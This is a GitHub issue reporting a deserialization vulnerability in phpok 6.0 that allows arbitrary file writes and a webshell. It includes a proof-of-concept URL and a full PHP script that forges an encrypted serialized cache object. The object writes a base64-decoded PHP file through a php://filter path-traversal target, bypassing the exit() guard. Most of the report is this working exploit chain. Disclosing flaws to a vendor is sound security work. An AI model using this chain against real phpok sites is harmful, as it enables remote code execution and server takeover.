phpok icon indicating copy to clipboard operation
phpok copied to clipboard

phpok6.0 has a deserialization vulnerability, and can getshell by writing arbitrary files

Open wa1ki0g opened this issue 3 years ago • 0 comments

The update method in the login controller of the admin module calls the decode method and calls unserialize in the decode function

poc : http://127.0.0.1/6.0/admin.php?c=login&f=update&fid=../index&fcode=admin&quickcode=58829ePB5y9JHXx0HotnsRZhdCR1WoNpocd8lMSm%2B%2Fc5YiLMceyyWFBb95LcKF24oT%2B6SeZMFV1SnhqoRxAi3V%2FJeAERciPEF7wUEkby5RK1jTHWgzGomAH6KElUmhcSef3p1nyVlekvH5pvXygHrtJSgJD9LNQW4yTw8S9kKPL7qu0jvXeiimo1PYdH1t15zgGt8G0g%2BzI1rCzZbBn5sYs8CdTGc1IHVhTE3d%2FR8%2Bvt%2B7ooBT7T7HhT9Mf67QE8VzLt6WIrUG3Ytv9FuA5enC0QPzXn3AbkUyE1pPk6JIAD54OuN7hCba48CP7bbuc4Q%2Fa4r%2FgLY

analyze:

image image

For this payload, we can use the cache class, whose __destruct method calls the save method, and the save method can write to the webshell:

image

The exit here can be bypassed through the pseudo-protocol of php:

image

php file successfully written and executed:

image

When executing the following file to generate an attack chain, put index.php in the same directory `<?php

class token_lib { private $keyid = ''; private $keyc_length = 6; private $keya; private $keyb; private $time; private $expiry = 3600; private $encode_type = 'api_code'; //仅支持 api_code 和 public_key private $public_key = ''; private $private_key = '';

public function __construct()
{
	$this->time = time();
}


public function etype($type="")
{
	if($type && in_array($type,array('api_code','public_key'))){
		$this->encode_type = $type;
	}
	return $this->encode_type;
}

public function public_key($key='')
{
	if($key){
		$this->public_key = $key;
	}
	return $this->public_key;
}

public function private_key($key='')
{
	if($key){
		$this->private_key = $key;
	}
	return $this->private_key;
}

/**
 * 自定义密钥
 * @参数 $keyid 密钥内容
**/
public function keyid($keyid='')
{
	if(!$keyid){
		return $this->keyid;
	}
	$this->keyid = strtolower(md5($keyid));
	$this->config();
	return $this->keyid;
}

private function config()
{
	if(!$this->keyid){
		return false;
	}
	$this->keya = md5(substr($this->keyid, 0, 16));
	$this->keyb = md5(substr($this->keyid, 16, 16));
}

/**
 * 设置超时
 * @参数 $time 超时时间,单位是秒
**/
public function expiry($time=0)
{
	if($time && $time > 0){
		$this->expiry = $time;
	}
	return $this->expiry;
}

/**
 * 加密数据
 * @参数 $string 要加密的数据,数组或字符
**/
public function encode($string)
{
	if($this->encode_type == 'public_key'){
		return $this->encode_rsa($string);
	}
	if(!$this->keyid){
		return false;
	}
	$string = serialize($string);
	$expiry_time = $this->expiry ? $this->expiry : 365*24*3600;
	$string = sprintf('%010d',($expiry_time + $this->time)).substr(md5($string.$this->keyb), 0, 16).$string;	
	$keyc = substr(md5(microtime().rand(1000,9999)), -$this->keyc_length);
	$cryptkey = $this->keya.md5($this->keya.$keyc);
	$rs = $this->core($string,$cryptkey);
	return $keyc.str_replace('=', '', base64_encode($rs));
}

/**
 * 基于公钥加密
**/
private function encode_rsa($string)
{
	if(!$this->public_key){
		return false;
	}
	$string = serialize($string);
	$crypto = '';
	$tlist = str_split($string,117);
	foreach($tlist as $key=>$value){
		openssl_public_encrypt($value,$data,$this->public_key);
		$crypto .= $data;
	}
	return base64_encode($crypto);
}

/**
 * 解密
 * @参数 $string 要解密的字串
**/
public function decode($string)
{
	if($this->encode_type == 'public_key'){
		return $this->decode_rsa($string);
	}
	if(!$this->keyid){
		return false;
	}
	$string = str_replace(' ','+',$string);
	$keyc = substr($string, 0, $this->keyc_length);
	$string = base64_decode(substr($string, $this->keyc_length));
	$cryptkey = $this->keya.md5($this->keya.$keyc);
	$rs = $this->core($string,$cryptkey);
	$chkb = substr(md5(substr($rs,26).$this->keyb),0,16);
	if((substr($rs, 0, 10) - $this->time > 0) && substr($rs, 10, 16) == $chkb){
		$info = substr($rs, 26);
		return unserialize($info);
	}
	return false;
}

/**
 * 基于私钥解密
**/
public function decode_rsa($string)
{
	if(!$this->private_key){
		return false;
	}
	$crypto = '';
	$tlist = str_split(base64_decode($string),128);
	foreach($tlist as $key=>$value){
		openssl_private_decrypt($value,$data,$this->private_key);
		$crypto .= $data;
	}
	if($crypto){
		return unserialize($crypto);
	}
	return false;
}

private function core($string,$cryptkey)
{
	$key_length = strlen($cryptkey);
	$string_length = strlen($string);
	$result = '';
	$box = range(0, 255);
	$rndkey = array();
	// 产生密匙簿
	for($i = 0; $i <= 255; $i++){
		$rndkey[$i] = ord($cryptkey[$i % $key_length]);
	}
	// 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上并不会增加密文的强度
	for($j = $i = 0; $i < 256; $i++){
		$j = ($j + $box[$i] + $rndkey[$i]) % 256;
		$tmp = $box[$i];
		$box[$i] = $box[$j];
		$box[$j] = $tmp;
	}
	// 核心加解密部分
	for($a = $j = $i = 0; $i < $string_length; $i++){
		$a = ($a + 1) % 256;
		$j = ($j + $box[$a]) % 256;
		$tmp = $box[$a];
		$box[$a] = $box[$j];
		$box[$j] = $tmp;
		$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
	}
	return $result;
}

}

class file_lib { public $read_count; private $safecode = "\n"; public function __construct() { $this->read_count = 0; }

/**
 * 远程获取内容,这里直接调用html类来执行
 * @参数 $url 网址
 * @参数 $post 要提交的post数据
**/
public function remote($url,$post='')
{
	return $GLOBALS['app']->lib('html')->get_content($url,$post);
}

/**
 * 读取数据
 * @参数 $file 要读取的文件,支持远程文件
 * @参数 $length 文件长度,为空表示读取全部,仅限本地文件有效
 * @参数 $filter 是否过滤安全字符,默认为true,不过滤请传参false,仅限本地文件有效
 * @返回 false 或 文件内容
**/
public function cat($file="",$length=0,$filter=true)
{
	if(!$file){
		return false;
	}
	if(strpos($file,"://") !== false && strpos($file,'file://') === false){
		return $this->remote($file);
	}
	if(!file_exists($file)){
		return false;
	}
	$this->read_count++;
	
	if($length && is_numeric($length)){
		$maxlength = $length;
		if($filter){
			$maxlength = $length + strlen($this->safecode);
		}
		$fp = fopen($file,'rb');
		if(!$fp){
			return false;
		}
		$content = fread($fp,$maxlength);
		fclose($fp);
	}else{
		$content = file_get_contents($file);
	}
	if(!$content){
		return false;
	}
	if($filter || (is_bool($length) && $length)){
		$content = str_replace($this->safecode,'',$content);
	}
	return $content;
}

/**
 * 保存数据
 * @参数 $content 要保存的内容,支持字符串,数组,多维数组等
 * @参数 $file 保存的文件地址
 * @参数 $var 仅限$content为数组,此项不为空时使用
 * @参数 $type 写入方式,默认为wb,清零写入
 * @返回 true/false
**/
public function vi($content='',$file='',$var="",$type="wb")
{
	if(!$content || !$file){
		return false;
	}
	$this->make($file,"file");
	if(is_array($content) && $var){
		$content = $this->__array($content,$var);
		$safecode = 'if(!defined("PHPOK_SET")){exit("<h1>Access Denied</h1>");}';
		$content = "<?php\n".$safecode."\n".$content."\n//-----end";
	}else{
		if(strtolower($type) == 'wb' || strtolower($type) == 'w'){
			$content = $this->safecode.$content;
		}
	}
	$this->_write($content,$file,$type);
	return true;
}

/**
 * 存储php等源码文件,不会写入安全保护
 * @参数 $content 要保存的内容
 * @参数 $file 保存的地址
 * @参数 $type 写入模式,wb 表示完全写入,ab 表示追加写入
**/
public function vim($content,$file,$type="wb")
{
	$this->make($file,"file");
	return $this->_write($content,$file,$type);
}

/**
 * 保存数据别名,不改写任何东西
 * @参数 $content 要保存的内容
 * @参数 $file 保存的地址
 * @参数 $type 写入模式,wb 表示完全写入,ab 表示追加写入
**/
public function save($content,$file,$type='wb')
{
	return $this->vim($content,$file,$type);
}

/**
 * 存储图片,内容不进行stripslashes处理
 * @参数 $content 要保存的内容
 * @参数 $file 要保存的文件
 * @返回 
 * @更新时间 
**/
public function save_pic($content,$file)
{
	$this->make($file,"file");
	$handle = $this->_open($file,"wb");
	fwrite($handle,$content);
	unset($content);
	$this->_close($handle);
	return true;
}

/**
 * 删除操作,请一定要小心,在程序中最好严格一些,不然有可能将整个目录删掉
 * @参数 $del 要删除的文件或文件夹
 * @参数 $type 仅支持file和folder,为file时仅删除$del文件,如果$del为文件夹,表示删除其下面的文件。为folder时,表示删除$del这个文件,如果为文件夹,表示删除此文件夹及子项
 * @返回 true/false
**/
public function rm($del,$type="file")
{
	if(!file_exists($del)){
		return false;
	}
	if(is_file($del)){
		unlink($del);
		return true;
	}
	$array = $this->_dir_list($del);
	if(!$array){
		if($type == 'folder'){
			rmdir($del);
		}
		return true;
	}
	foreach($array as $key=>$value){
		if(file_exists($value)){
			if(is_dir($value)){
				$this->rm($value,$type);
			}else{
				unlink($value);
			}
		}
	}
	if($type == "folder"){
		rmdir($del);
	}
	return true;
}

/**
 * 创建文件或目录
 * @参数 $file 文件或目录
 * @参数 $type 默认是dir,表示创建目录
 * @返回 true
**/
public function make($file,$type="dir")
{
	$newfile = $file;
	$msg = "";
	if(defined("ROOT")){
		$root_strlen = strlen(ROOT);
		if(substr($file,0,$root_strlen) == ROOT){
			$newfile = substr($file,$root_strlen);
		}
		$msg = ROOT;//从根目录记算起是否有文件写入
	}
	$array = explode("/",$newfile);
	$count = count($array);
	if($type == "dir"){
		for($i=0;$i<$count;$i++){
			$msg .= $array[$i];
			if(!file_exists($msg) && ($array[$i])){
				mkdir($msg,0777);
			}
			$msg .= "/";
		}
	}else{
		for($i=0;$i<($count-1);$i++){
			$msg .= $array[$i];
			if(!file_exists($msg) && ($array[$i])){
				mkdir($msg,0777);
			}
			$msg .= "/";
		}
		if(!file_exists($file)){
			@touch($file);//创建文件
		}
	}
	return true;
}

/**
 * 复制操作
 * @参数 $old 旧文件(夹)
 * @参数 $new 新文件(夹)
 * @参数 $recover 是否覆盖
 * @返回 false/true
**/
public function cp($old,$new,$recover=true)
{
	if(!file_exists($old)){
		return false;
	}
	if(is_file($old)){
		//如果目标是文件夹
		if(substr($new,-1) == '/'){
			$this->make($new,'dir');
			$basename = basename($old);
			if(file_exists($new.$basename) && !$recover){
				return false;
			}
			copy($old,$new.$basename);
			return true;
		}
		if(file_exists($new) && !$recover){
			return false;
		}
		copy($old,$new);
		return true;
	}
	$basename = basename($old);
	$this->make($new.$basename,'dir');
	$dlist = $this->ls($old);
	if($dlist && count($dlist)>0){
		foreach($dlist as $key=>$value){
			$this->cp($value,$new.$basename.'/',$recover);
		}
	}
	return true;
}

/**
 * 文件移动操作
 * @参数 $old 旧文件(夹)
 * @参数 $new 新文件(夹)
 * @参数 $recover 是否覆盖
 * @返回 false/true
**/
public function mv($old,$new,$recover=true)
{
	if(!file_exists($old)){
		return false;
	}
	if(substr($new,-1) == "/"){
		$this->make($new,"dir");
	}else{
		$this->make($new,"file");
	}
	if(file_exists($new)){
		if($recover){
			unlink($new);
		}else{
			return false;
		}
	}else{
		$new = $new.basename($old);
	}
	rename($old,$new);
	return true;
}

/**
 * 获取文件夹列表
 * @参数 $folder 获取指定文件夹下的列表(仅一层深度)
 * @返回 数组
**/
public function ls($folder)
{
	$this->read_count++;
	$list = $this->_dir_list($folder);
	if(is_array($list)){
		sort($list,SORT_STRING);
	}
	return $list;
}

/**
 * 获取文件夹及子文件夹等多层文件列表(无限级,长度受系统限制)
 * @参数 $folder 文件夹
 * @参数 $list 引用变量
**/
public function deep_ls($folder,&$list)
{
	$this->read_count++;
	$tmplist = $this->_dir_list($folder);
	if($tmplist){
		foreach($tmplist as $key=>$value){
			if(is_dir($value)){
				$this->deep_ls($value,$list);
			}else{
				$list[] = $value;
			}
		}
	}
}

/**
 * 取得文件夹下的列表
 * @参数 $file 文件(夹)
 * @参数 $type 仅支持folder或file,为file,直接返回$file本身
 * @返回 $file或数组
**/
private function _dir_list($file,$type="folder")
{
	if(substr($file,-1) == "/"){
		$file = substr($file,0,-1);
	}
	if(!file_exists($file)){
		return false;
	}
	if($type == "file" || is_file($file)){
		return $file;
	}else{
		$handle = opendir($file);
		$array = array();
		while(false !== ($myfile = readdir($handle))){
			if($myfile != "." && $myfile != ".." && $myfile != ".svn") $array[] = $file."/".$myfile;
		}
		closedir($handle);
		return $array;
	}
}

/**
 * 数组转成字符串
 * @参数 $array 要转的数组的
 * @参数 $var 传递的变量
 * @参数 $content 内容
 * @返回 
 * @更新时间 
**/
private function __array($array,$var,$content="")
{
	foreach($array AS $key=>$value){
		if(is_array($value)){
			$content .= $this->__array($value,"".$var."[\"".$key."\"]");
		}else{
			$old_str = array('"',"<?php","?>","\r");
			$new_str = array("'","&lt;?php","?&gt;","");
			$value = str_replace($old_str,$new_str,$value);
			$content .= "\$".$var."[\"".$key."\"] = \"".$value."\";\n";
		}
	}
	return $content;
}

/**
 * 打开文件
 * @参数 $file 打开的文件
 * @参数 $type 打开类型,默认是wb
**/
private function _open($file,$type="wb")
{
	$handle = fopen($file,$type);
	$this->read_count++;
	return $handle;
}

/**
 * 写入信息
 * @参数 $content 内容
 * @参数 $file 要写入的文件
 * @参数 $type 打开方式
 * @返回 true
**/
private function _write($content,$file,$type="wb")
{
	if($content){
		$content = stripslashes($content);
	}
	$handle = $this->_open($file,$type);
	fwrite($handle,$content);
	unset($content);
	$this->_close($handle);
	return true;
}

/**
 * 关闭句柄
 * @参数 $handle 句柄
**/
private function _close($handle)
{
	return fclose($handle);
}

/**
 * 附件下载
 * @参数 $file 要下载的文件地址
 * @参数 $title 下载后的文件名
**/
public function download($file,$title='')
{
	if(!$file){
		return false;
	}
	if(!file_exists($file)){
		return false;
	}
	$ext = pathinfo($file,PATHINFO_EXTENSION);
	$filesize = filesize($file);
	if(!$title){
		$title = basename($file);
	}else{
		$title = str_replace('.'.$ext,'',$title);
		$title.= '.'.$ext;
	}
	ob_end_clean();
	set_time_limit(0);
	header("Content-type: applicatoin/octet-stream");
	header("Date: ".gmdate("D, d M Y H:i:s",time())." GMT");
	header("Last-Modified: ".gmdate("D, d M Y H:i:s",time())." GMT");
	header("Content-Encoding: none");
	header("Content-Disposition: attachment; filename=".rawurlencode($title)."; filename*=utf-8''".rawurlencode($title));
	header("Accept-Ranges: bytes");
	$range = 0;
	$size2 = $filesize -1;
	if (isset ($_SERVER['HTTP_RANGE'])) {
	    list ($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
	    $new_length = $size2 - $range;
	    header("HTTP/1.1 206 Partial Content");
	    header("Content-Length: ".$new_length); //输入总长
	    header("Content-Range: bytes ".$range."-".$size2."/".$filesize);
	} else {
	    header("Content-Range: bytes 0-".$size2."/".$filesize); //Content-Range: bytes 0-4988927/4988928
	    header("Content-Length: ".$filesize);
	}
	$read_buffer=4096;
	$sum_buffer = 0;
	$handle = fopen($file, "rb");
	fseek($handle, $range);
	ob_start();
	while (!feof($handle) && $sum_buffer<$filesize) {
		echo fread($handle,$read_buffer);
		$sum_buffer+=$read_buffer;
		ob_flush();
		flush();
	}
	ob_end_clean();
	fclose($handle);
}

}

class cache{ protected $key_id='www'; protected $key_list='aaPD9waHAgcGhwaW5mbygpOz8+"'; protected $folder='php://filter/write=convert.base64-decode/resource=../../../../../../../Applications/MxSrvs/www/a';

}

$token = new token_lib(); $file = new file_lib(); $token->keyid($file->cat("./index.php"));

echo $token->encode(new cache());

`

wa1ki0g avatar Apr 14 '22 03:04 wa1ki0g